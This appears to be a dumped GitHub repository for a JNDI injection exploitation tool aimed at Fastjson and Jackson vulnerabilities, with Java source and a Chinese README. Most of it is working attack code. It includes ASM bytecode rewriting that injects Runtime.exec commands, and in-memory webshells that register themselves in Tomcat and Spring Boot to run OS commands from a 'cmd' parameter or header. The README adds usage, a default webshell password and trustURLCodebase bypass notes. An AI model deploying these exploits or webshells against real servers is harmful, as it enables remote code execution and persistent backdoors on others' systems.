├── .gitignore ├── .DS_Store ├── screenshot ├── 1.jpg ├── 2.jpg ├── 3.jpg ├── 4.jpg ├── 5.jpg ├── 6.jpg └── 7.jpg ├── src ├── main │ ├── resources │ │ └── template │ │ │ ├── ExecTemplateJDK7.class │ │ │ └── ExecTemplateJDK8.class │ └── java │ │ ├── util │ │ ├── StreamUtil.java │ │ ├── Reflections.java │ │ ├── Transformers.java │ │ └── Mapper.java │ │ ├── shell │ │ ├── SpringbootInterceptorShell.java │ │ ├── TomcatFilterShell.java │ │ ├── TomcatServletShell.java │ │ ├── SpringbootInterceptorBehinderShell.java │ │ ├── BehinderServletShell.java │ │ └── BehinderFilterShell.java │ │ ├── jndi │ │ ├── LDAPRefServer.java │ │ └── RMIRefServer.java │ │ ├── run │ │ └── ServerStart.java │ │ └── jetty │ │ └── JettyServer.java └── test │ └── java │ ├── ExecTemplateJDK7.java │ ├── ExecTemplateJDK8.java │ └── TestRuntime.java ├── LICENSE ├── README.md ├── pom.xml └── JNDI-Injection-Memshell.iml /.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | .idea/ -------------------------------------------------------------------------------- /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MUYU212/JNDI-Injection-Memshell/HEAD/.DS_Store -------------------------------------------------------------------------------- /screenshot/1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MUYU212/JNDI-Injection-Memshell/HEAD/screenshot/1.jpg -------------------------------------------------------------------------------- /screenshot/2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MUYU212/JNDI-Injection-Memshell/HEAD/screenshot/2.jpg -------------------------------------------------------------------------------- /screenshot/3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MUYU212/JNDI-Injection-Memshell/HEAD/screenshot/3.jpg -------------------------------------------------------------------------------- /screenshot/4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MUYU212/JNDI-Injection-Memshell/HEAD/screenshot/4.jpg -------------------------------------------------------------------------------- /screenshot/5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MUYU212/JNDI-Injection-Memshell/HEAD/screenshot/5.jpg -------------------------------------------------------------------------------- /screenshot/6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MUYU212/JNDI-Injection-Memshell/HEAD/screenshot/6.jpg -------------------------------------------------------------------------------- /screenshot/7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MUYU212/JNDI-Injection-Memshell/HEAD/screenshot/7.jpg -------------------------------------------------------------------------------- /src/main/resources/template/ExecTemplateJDK7.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MUYU212/JNDI-Injection-Memshell/HEAD/src/main/resources/template/ExecTemplateJDK7.class -------------------------------------------------------------------------------- /src/main/resources/template/ExecTemplateJDK8.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MUYU212/JNDI-Injection-Memshell/HEAD/src/main/resources/template/ExecTemplateJDK8.class -------------------------------------------------------------------------------- /src/test/java/ExecTemplateJDK7.java: -------------------------------------------------------------------------------- 1 | /** 2 | * @Classname ExecTemplateJDK7 3 | * @Author Welkin 4 | */ 5 | public class ExecTemplateJDK7 { 6 | 7 | static { 8 | System.out.println(); 9 | } 10 | 11 | } 12 | -------------------------------------------------------------------------------- /src/test/java/ExecTemplateJDK8.java: -------------------------------------------------------------------------------- 1 | /** 2 | * @Classname ExecTemplateJDK8 3 | * @Author Welkin 4 | */ 5 | public class ExecTemplateJDK8 { 6 | 7 | static { 8 | System.out.println(); 9 | } 10 | 11 | } 12 | -------------------------------------------------------------------------------- /src/test/java/TestRuntime.java: -------------------------------------------------------------------------------- 1 | import org.junit.Test; 2 | 3 | import javax.naming.InitialContext; 4 | 5 | /** 6 | * @Classname TestRuntime 7 | * @Description For testing your command 8 | * @Author Welkin 9 | */ 10 | public class TestRuntime { 11 | @Test 12 | public void testRuntime() throws Exception{ 13 | Runtime.getRuntime().exec("id"); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /src/main/java/util/StreamUtil.java: -------------------------------------------------------------------------------- 1 | package util; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | 7 | public class StreamUtil { 8 | public static byte[] readFully(InputStream inputStream, boolean close) throws IOException { 9 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 10 | byte[] buffer = new byte[1024]; 11 | int len; 12 | while ((len = inputStream.read(buffer)) != -1) { 13 | baos.write(buffer, 0, len); 14 | } 15 | if (close) { 16 | inputStream.close(); 17 | } 18 | return baos.toByteArray(); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Red256 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/main/java/util/Reflections.java: -------------------------------------------------------------------------------- 1 | package util; 2 | 3 | import sun.reflect.ReflectionFactory; 4 | 5 | import java.lang.reflect.Constructor; 6 | import java.lang.reflect.Field; 7 | import java.lang.reflect.InvocationTargetException; 8 | 9 | 10 | @SuppressWarnings ( "restriction" ) 11 | public class Reflections { 12 | 13 | public static Field getField ( final Class clazz, final String fieldName ) throws Exception { 14 | try { 15 | Field field = clazz.getDeclaredField(fieldName); 16 | if ( field != null ) 17 | field.setAccessible(true); 18 | else if ( clazz.getSuperclass() != null ) 19 | field = getField(clazz.getSuperclass(), fieldName); 20 | 21 | return field; 22 | } 23 | catch ( NoSuchFieldException e ) { 24 | if ( !clazz.getSuperclass().equals(Object.class) ) { 25 | return getField(clazz.getSuperclass(), fieldName); 26 | } 27 | throw e; 28 | } 29 | } 30 | 31 | 32 | public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception { 33 | final Field field = getField(obj.getClass(), fieldName); 34 | field.set(obj, value); 35 | } 36 | 37 | 38 | public static Object getFieldValue ( final Object obj, final String fieldName ) throws Exception { 39 | final Field field = getField(obj.getClass(), fieldName); 40 | return field.get(obj); 41 | } 42 | 43 | 44 | public static Constructor getFirstCtor ( final String name ) throws Exception { 45 | final Constructor ctor = Class.forName(name).getDeclaredConstructors()[ 0 ]; 46 | ctor.setAccessible(true); 47 | return ctor; 48 | } 49 | 50 | 51 | public static T createWithoutConstructor ( Class classToInstantiate ) 52 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 53 | return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); 54 | } 55 | 56 | 57 | @SuppressWarnings ( { 58 | "unchecked" 59 | } ) 60 | public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, 61 | Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 62 | Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); 63 | objCons.setAccessible(true); 64 | Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); 65 | sc.setAccessible(true); 66 | return (T) sc.newInstance(consArgs); 67 | } 68 | 69 | } 70 | -------------------------------------------------------------------------------- /src/main/java/util/Transformers.java: -------------------------------------------------------------------------------- 1 | package util; 2 | 3 | import java.io.InputStream; 4 | import org.objectweb.asm.*; 5 | 6 | 7 | /** 8 | * @Classname Transformers 9 | * @Description Insert command to the template classfile 10 | * @Author Welkin 11 | */ 12 | public class Transformers { 13 | 14 | public static byte[] insertCommand(InputStream inputStream, String command) throws Exception{ 15 | 16 | ClassReader cr = new ClassReader(inputStream); 17 | ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); 18 | ClassVisitor cv = new TransformClass(cw,command); 19 | 20 | cr.accept(cv, 2); 21 | return cw.toByteArray(); 22 | } 23 | 24 | static class TransformClass extends ClassVisitor{ 25 | 26 | String command; 27 | 28 | TransformClass(ClassVisitor classVisitor, String command){ 29 | super(Opcodes.ASM7,classVisitor); 30 | this.command = command; 31 | } 32 | 33 | @Override 34 | public MethodVisitor visitMethod( 35 | final int access, 36 | final String name, 37 | final String descriptor, 38 | final String signature, 39 | final String[] exceptions) { 40 | MethodVisitor mv = cv.visitMethod(access, name, descriptor, signature, exceptions); 41 | if(name.equals("")){ 42 | return new TransformMethod(mv,command); 43 | }else{ 44 | return mv; 45 | } 46 | } 47 | } 48 | 49 | static class TransformMethod extends MethodVisitor{ 50 | 51 | String command; 52 | 53 | TransformMethod(MethodVisitor methodVisitor,String command) { 54 | super(Opcodes.ASM7, methodVisitor); 55 | this.command = command; 56 | } 57 | 58 | @Override 59 | public void visitCode(){ 60 | 61 | Label label0 = new Label(); 62 | Label label1 = new Label(); 63 | Label label2 = new Label(); 64 | mv.visitTryCatchBlock(label0, label1, label2, "java/lang/Exception"); 65 | mv.visitLabel(label0); 66 | mv.visitLdcInsn(command); 67 | mv.visitVarInsn(Opcodes.ASTORE, 0); 68 | mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); 69 | mv.visitVarInsn(Opcodes.ALOAD, 0); 70 | mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); 71 | mv.visitInsn(Opcodes.POP); 72 | mv.visitLabel(label1); 73 | Label label3 = new Label(); 74 | mv.visitJumpInsn(Opcodes.GOTO, label3); 75 | mv.visitLabel(label2); 76 | mv.visitVarInsn(Opcodes.ASTORE, 0); 77 | mv.visitVarInsn(Opcodes.ALOAD, 0); 78 | mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false); 79 | mv.visitLabel(label3); 80 | } 81 | } 82 | 83 | } 84 | -------------------------------------------------------------------------------- /src/main/java/util/Mapper.java: -------------------------------------------------------------------------------- 1 | package util; 2 | 3 | import org.apache.commons.lang3.RandomStringUtils; 4 | 5 | import static run.ServerStart.addr; 6 | import static run.ServerStart.rmiPort; 7 | import static run.ServerStart.ldapPort; 8 | import static run.ServerStart.withColor; 9 | 10 | import java.util.HashMap; 11 | import java.util.Map; 12 | 13 | /** 14 | * @Classname Mapper 15 | * @Description Init the JNDI links 16 | * @Author Welkin 17 | */ 18 | public class Mapper { 19 | 20 | public final static Map references = new HashMap<>(); 21 | public final static Map instructions = new HashMap<>(); 22 | public static final String ANSI_RESET = "\u001B[0m"; 23 | public static final String ANSI_PURPLE = "\u001B[35m"; 24 | public static final String ANSI_RED = "\u001B[31m"; 25 | public static final String ANSI_BLUE = "\u001B[34m"; 26 | 27 | 28 | static { 29 | references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"ExecTemplateJDK8"); 30 | references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"ExecTemplateJDK7"); 31 | references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"BypassByEL"); 32 | references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"BehinderServletShell"); 33 | references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"TomcatServletShell"); 34 | references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"SpringbootInterceptorShell"); 35 | references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"SpringbootInterceptorBehinderShell"); 36 | references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"TomcatFilterShell"); 37 | references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"BehinderFilterShell"); 38 | references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"BypassGroovy"); 39 | 40 | 41 | 42 | instructions.put("ExecTemplateJDK8","Build in "+ withColor("JDK 1.8",ANSI_RED) +" whose trustURLCodebase is true"); 43 | instructions.put("ExecTemplateJDK7","Build in "+ withColor("JDK 1.7",ANSI_RED) +" whose trustURLCodebase is true"); 44 | instructions.put("BypassByEL","Build in "+ withColor("JDK",ANSI_RED) +" whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath"); 45 | instructions.put("BypassGroovy","Build in "+withColor("JDK",ANSI_RED)+" bypass trustURLCodebase is false by Groovy"); 46 | instructions.put("BehinderServletShell","Behinder Servlet Memshell"); 47 | instructions.put("TomcatServletShell","Tomcat Servlet Memshell"); 48 | instructions.put("SpringbootInterceptorShell","Springboot Interceptor Memshell"); 49 | instructions.put("SpringbootInterceptorBehinderShell","Springboot Interceptor Behinder Memshell"); 50 | instructions.put("TomcatFilterShell","Tomcat Filter Memshell"); 51 | instructions.put("BehinderFilterShell","Behinder Filter Memshell"); 52 | System.out.println("----------------------------JNDI Links---------------------------- "); 53 | for (String name : references.keySet()) { 54 | String reference = references.get(name); 55 | System.out.println("Target environment(" + instructions.get(reference) +"):"); 56 | if (reference.startsWith("Bypass")){ 57 | System.out.println(withColor("rmi://"+ addr +":"+ rmiPort +"/" + name, ANSI_PURPLE)); 58 | }else { 59 | System.out.println(withColor("rmi://"+ addr +":"+ rmiPort +"/" + name, ANSI_PURPLE)); 60 | System.out.println(withColor("ldap://"+ addr +":"+ ldapPort +"/" + name, ANSI_PURPLE)); 61 | } 62 | } 63 | System.out.println(); 64 | } 65 | 66 | public static void main(String[] args) { 67 | System.out.println(); 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /src/main/java/shell/SpringbootInterceptorShell.java: -------------------------------------------------------------------------------- 1 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 2 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 3 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 4 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 5 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 6 | import org.springframework.web.context.WebApplicationContext; 7 | import org.springframework.web.context.request.RequestContextHolder; 8 | import org.springframework.web.servlet.HandlerInterceptor; 9 | import org.springframework.web.servlet.ModelAndView; 10 | import org.springframework.web.servlet.handler.AbstractHandlerMapping; 11 | import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; 12 | 13 | import javax.servlet.http.HttpServletRequest; 14 | import javax.servlet.http.HttpServletResponse; 15 | import java.lang.reflect.Field; 16 | import java.util.ArrayList; 17 | 18 | public class SpringbootInterceptorShell extends AbstractTranslet implements HandlerInterceptor { 19 | 20 | 21 | static{ 22 | try{ 23 | WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 24 | RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); 25 | Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); 26 | field.setAccessible(true); 27 | ArrayList adaptedInterceptors = (ArrayList) field.get(requestMappingHandlerMapping); 28 | SpringbootInterceptorShell memoryInterceptor = new SpringbootInterceptorShell("aaa"); 29 | adaptedInterceptors.add(memoryInterceptor); 30 | }catch (Exception e){ 31 | e.printStackTrace(); 32 | } 33 | } 34 | 35 | 36 | public SpringbootInterceptorShell(String test){ 37 | 38 | } 39 | @Override 40 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 41 | 42 | } 43 | 44 | @Override 45 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 46 | 47 | } 48 | 49 | @Override 50 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 51 | String command = request.getHeader("command"); 52 | if(command != null){ 53 | try { 54 | java.io.PrintWriter writer = response.getWriter(); 55 | String o = ""; 56 | ProcessBuilder p; 57 | if(System.getProperty("os.name").toLowerCase().contains("win")){ 58 | p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command}); 59 | }else{ 60 | p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command}); 61 | } 62 | java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); 63 | o = c.hasNext() ? c.next(): o; 64 | c.close(); 65 | writer.write(o); 66 | writer.flush(); 67 | writer.close(); 68 | }catch (Exception e){ 69 | return false; 70 | } 71 | return false; 72 | } 73 | return true; 74 | } 75 | 76 | @Override 77 | public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { 78 | HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); 79 | } 80 | 81 | @Override 82 | public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { 83 | HandlerInterceptor.super.afterCompletion(request, response, handler, ex); 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /src/main/java/shell/TomcatFilterShell.java: -------------------------------------------------------------------------------- 1 | import org.apache.catalina.Context; 2 | import org.apache.catalina.core.ApplicationContext; 3 | import org.apache.catalina.core.ApplicationFilterConfig; 4 | import org.apache.catalina.core.StandardContext; 5 | import org.apache.tomcat.util.descriptor.web.FilterDef; 6 | import org.apache.tomcat.util.descriptor.web.FilterMap; 7 | import org.springframework.web.context.request.RequestContextHolder; 8 | import org.springframework.web.context.request.ServletRequestAttributes; 9 | 10 | import javax.servlet.*; 11 | import javax.servlet.http.HttpServletRequest; 12 | import javax.servlet.http.HttpServletResponse; 13 | import java.io.BufferedReader; 14 | import java.io.IOException; 15 | import java.io.InputStream; 16 | import java.io.InputStreamReader; 17 | import java.lang.reflect.Constructor; 18 | import java.lang.reflect.Field; 19 | import java.util.Map; 20 | import java.util.Scanner; 21 | 22 | public class TomcatFilterShell implements Filter { 23 | static{ 24 | try{ 25 | ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); 26 | HttpServletRequest request = attributes.getRequest(); 27 | ServletContext servletContext = request.getServletContext(); 28 | Field appctx = servletContext.getClass().getDeclaredField("context"); 29 | appctx.setAccessible(true); 30 | ApplicationContext applicationContext= (ApplicationContext)appctx.get(servletContext); 31 | Field stdctx = applicationContext.getClass().getDeclaredField("context"); 32 | stdctx.setAccessible(true); 33 | StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); 34 | Filter filter = new TomcatFilterShell(); 35 | FilterDef filterDef = new FilterDef(); 36 | filterDef.setFilter(filter); 37 | filterDef.setFilterName("evilFilter"); 38 | filterDef.setFilterClass(filter.getClass().getName()); 39 | standardContext.addFilterDef(filterDef); 40 | Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); 41 | constructor.setAccessible(true); 42 | ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); 43 | Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs"); 44 | filterConfigsField.setAccessible(true); 45 | Map filterConfigs = (Map) filterConfigsField.get(standardContext); 46 | filterConfigs.put("evilFilter", filterConfig); 47 | FilterMap filterMap = new FilterMap(); 48 | filterMap.addURLPattern("/evil"); 49 | filterMap.setFilterName("evilFilter"); 50 | filterMap.setDispatcher(DispatcherType.REQUEST.name()); 51 | standardContext.addFilterMapBefore(filterMap); 52 | }catch (Exception e){ 53 | e.printStackTrace(); 54 | } 55 | } 56 | public TomcatFilterShell(){ 57 | 58 | } 59 | @Override 60 | public void init(FilterConfig filterConfig) throws ServletException { 61 | 62 | } 63 | 64 | @Override 65 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 66 | if (servletRequest.getParameter("cmd") != null) { 67 | Process process = Runtime.getRuntime().exec(servletRequest.getParameter("cmd")); 68 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream())); 69 | StringBuilder stringBuilder = new StringBuilder(); 70 | String line; 71 | while ((line = bufferedReader.readLine()) != null) { 72 | stringBuilder.append(line+"\n"); 73 | } 74 | servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); 75 | servletResponse.getOutputStream().flush(); 76 | servletResponse.getOutputStream().close(); 77 | } 78 | filterChain.doFilter(servletRequest,servletResponse); 79 | } 80 | 81 | @Override 82 | public void destroy() { 83 | 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /src/main/java/shell/TomcatServletShell.java: -------------------------------------------------------------------------------- 1 | import org.apache.catalina.Container; 2 | import org.apache.catalina.Wrapper; 3 | import org.apache.catalina.core.ApplicationContext; 4 | import org.apache.catalina.core.StandardContext; 5 | import org.springframework.web.context.request.RequestContextHolder; 6 | import org.springframework.web.context.request.ServletRequestAttributes; 7 | 8 | import javax.servlet.*; 9 | import javax.servlet.http.HttpServletRequest; 10 | import javax.servlet.http.HttpServletResponse; 11 | import java.io.BufferedReader; 12 | import java.io.IOException; 13 | import java.io.InputStreamReader; 14 | import java.lang.reflect.Field; 15 | import java.lang.reflect.Method; 16 | 17 | public class TomcatServletShell implements Servlet { 18 | static{ 19 | try{ 20 | ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); 21 | HttpServletRequest request = attributes.getRequest(); 22 | ServletContext servletContext = request.getServletContext(); 23 | Field appctx = servletContext.getClass().getDeclaredField("context"); 24 | appctx.setAccessible(true); 25 | ApplicationContext applicationContext= (ApplicationContext)appctx.get(servletContext); 26 | Field stdctx = applicationContext.getClass().getDeclaredField("context"); 27 | stdctx.setAccessible(true); 28 | StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); 29 | System.out.println(standardContext); 30 | TomcatServletShell shell = new TomcatServletShell(); 31 | Method createWrapper = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("createWrapper"); 32 | Wrapper greetWrapper = (Wrapper) createWrapper.invoke(standardContext); 33 | Method gname = Container.class.getDeclaredMethod("setName", String.class); 34 | gname.invoke(greetWrapper, "shell"); 35 | Method gload = Wrapper.class.getDeclaredMethod("setLoadOnStartup", int.class); 36 | gload.invoke(greetWrapper, 1); 37 | Method gservlet = Wrapper.class.getDeclaredMethod("setServlet", Servlet.class); 38 | gservlet.invoke(greetWrapper, shell); 39 | Method gclass = Wrapper.class.getDeclaredMethod("setServletClass", String.class); 40 | gclass.invoke(greetWrapper, shell.getClass().getName()); 41 | Method gchild = StandardContext.class.getDeclaredMethod("addChild", Container.class); 42 | gchild.invoke(standardContext, greetWrapper); 43 | Method gmap = StandardContext.class.getDeclaredMethod("addServletMappingDecoded", String.class, String.class, boolean.class); 44 | gmap.invoke(standardContext, "/shell", "shell", false); 45 | }catch (Exception e){ 46 | e.printStackTrace(); 47 | } 48 | } 49 | 50 | @Override 51 | public void init(ServletConfig servletConfig) throws ServletException { 52 | 53 | } 54 | 55 | @Override 56 | public ServletConfig getServletConfig() { 57 | return null; 58 | } 59 | 60 | @Override 61 | public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { 62 | HttpServletRequest request = (HttpServletRequest) servletRequest; 63 | HttpServletResponse response = (HttpServletResponse) servletResponse; 64 | if (request.getParameter("cmd") != null) { 65 | Process process = Runtime.getRuntime().exec(request.getParameter("cmd")); 66 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream())); 67 | StringBuilder stringBuilder = new StringBuilder(); 68 | String line; 69 | while ((line = bufferedReader.readLine()) != null) { 70 | stringBuilder.append(line+"\n"); 71 | } 72 | servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); 73 | servletResponse.getOutputStream().flush(); 74 | servletResponse.getOutputStream().close(); 75 | return; 76 | }else{ 77 | response.sendError(HttpServletResponse.SC_NOT_FOUND); 78 | } 79 | } 80 | 81 | @Override 82 | public String getServletInfo() { 83 | return null; 84 | } 85 | 86 | @Override 87 | public void destroy() { 88 | 89 | } 90 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## 介绍 2 | 3 | JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于Fastjson、Jackson等相关漏洞的验证。 4 | 5 | 最开始做项目的初衷是因为,遇到一些场景只能用RMI注入,无法使用LDAP注入,但是找了一段的时间之后发现Github中并没有很合心意的RMI注入工具,于是原本想自己做一个RMI注入内存马的工具,参考了一下welk1n佬的项目,结果发现佬写的精妙,可以改动的地方很少了已经,索性直接fork大佬的项目,添加工具。 6 | 原仓库地址:https://github.com/welk1n/JNDI-Injection-Exploit 7 | 8 | 冰蝎内存🐴默认密码:elysium 9 | 10 | ## 更新功能 11 | 12 | ### 内存马注入 13 | 14 | 直接运行jar包,可以看到添加了Tomcat Memshell、Behinder两种内存马(还在更新中) 15 | 16 | ```shell 17 | $ java -jar JNDI-Injection-Memshell-1.0-SNAPSHOT-all.jar 18 | [ADDRESS] >> 127.0.0.1 19 | [COMMAND] >> open -a Calculator 20 | ----------------------------JNDI Links---------------------------- 21 | Target environment(Springboot Interceptor Behinder Memshell): 22 | rmi://127.0.0.1:1099/hcs9gf 23 | ldap://127.0.0.1:1389/hcs9gf 24 | Target environment(Behinder Filter Memshell): 25 | rmi://127.0.0.1:1099/047ucq 26 | ldap://127.0.0.1:1389/047ucq 27 | Target environment(Build in JDK bypass trustURLCodebase is false by Groovy): 28 | rmi://127.0.0.1:1099/gfklse 29 | Target environment(Springboot Interceptor Memshell): 30 | rmi://127.0.0.1:1099/gupdzc 31 | ldap://127.0.0.1:1389/gupdzc 32 | Target environment(Build in JDK 1.8 whose trustURLCodebase is true): 33 | rmi://127.0.0.1:1099/n5tnhz 34 | ldap://127.0.0.1:1389/n5tnhz 35 | Target environment(Build in JDK 1.7 whose trustURLCodebase is true): 36 | rmi://127.0.0.1:1099/fbnegt 37 | ldap://127.0.0.1:1389/fbnegt 38 | Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath): 39 | rmi://127.0.0.1:1099/mpqyi4 40 | Target environment(Behinder Servlet Memshell): 41 | rmi://127.0.0.1:1099/kmfzhn 42 | ldap://127.0.0.1:1389/kmfzhn 43 | Target environment(Tomcat Servlet Memshell): 44 | rmi://127.0.0.1:1099/vlnzlt 45 | ldap://127.0.0.1:1389/vlnzlt 46 | Target environment(Tomcat Filter Memshell): 47 | rmi://127.0.0.1:1099/21jrzn 48 | ldap://127.0.0.1:1389/21jrzn 49 | 50 | ----------------------------Server Log---------------------------- 51 | 2023-09-01 15:28:37 [JETTYSERVER]>> Listening on 0.0.0.0:8180 52 | 2023-09-01 15:28:37 [RMISERVER] >> Listening on 0.0.0.0:1099 53 | 2023-09-01 15:28:37 [LDAPSERVER] >> Listening on 0.0.0.0:1389 54 | ``` 55 | 56 | - Tomcat Servlet Memshell 57 | 58 | - 命令执行Servlet内存马:路径/shell,参数cmd 59 | 60 | ![](https://raw.githubusercontent.com/MUYU212/JNDI-Injection-Memshell/main/screenshot/1.jpg) 61 | 62 | - Behinder Servlet Memshell 63 | 64 | - 冰蝎Servlet内存马:路径/shell,密码:elysium 65 | 66 | ![](https://raw.githubusercontent.com/MUYU212/JNDI-Injection-Memshell/main/screenshot/2.jpg) 67 | 68 | - Springboot interceptor Memshell 69 | - springboot的拦截器内存马,在request header中的command为入参执行命令 70 | 71 | ![](https://raw.githubusercontent.com/MUYU212/JNDI-Injection-Memshell/main/screenshot/3.jpg) 72 | 73 | - Springboot interceptor Behinder Memshell: 74 | 75 | - springboot拦截器冰蝎内存马,在request header中的shell参数中跟上Behinder,输入密码即可连接 76 | 77 | ![ ](https://raw.githubusercontent.com/MUYU212/JNDI-Injection-Memshell/main/screenshot/4.jpg) 78 | 79 | - Tomcat Filter Memshell: 80 | - Tomcat filter内存马,在访问路径/evil?cmd=whoami,可以执行命令 81 | ![ ](https://raw.githubusercontent.com/MUYU212/JNDI-Injection-Memshell/main/screenshot/5.jpg) 82 | 83 | - Behinder Filter Memshell: 84 | - Behinder filter内存马,访问路径/behinderFilter,并在request header中的shell参数中跟上Behinder,输入密码即可连接 85 | ![ ](https://raw.githubusercontent.com/MUYU212/JNDI-Injection-Memshell/main/screenshot/6.jpg) 86 | 87 | - Bypass JDK高版本trustURLCodebase,by Groovy的方式 88 | 89 | - 前提条件,Tomcat版本小于9.0.63,并且存在Groovy依赖在classpath中 90 | ## Tips: 91 | 92 | Q:为什么有了Servlet/Controller内存马还是需要Interceptor内存马呢? 93 | 94 | A:如果服务端存在拦截器,指定如果未登录的状态除了/login接口其他都不执行,访问就会跳转回/login接口的话。这个controller的内存马不就访问不到了吗?访问不到就形同虚设了。所以controller的内存马并不能作为一种通用的内存马进行注入,于是就需要注入interceptor内存马了。 95 | 96 | 97 | 98 | - 实测了一下通过EL表达式来bypassJDK的JNDI注入的`trustURLCodebase`的限制的方法测试版本 99 | 100 | | JDK版本 | Springboot版本 | 内置的Tomcat版本 | 能否执行命令 | 101 | | -------- | -------------- | -------------------- | ------------ | 102 | | JDK8u191 | 2.5.13 | Apache Tomcat/9.0.62 | ✅ | 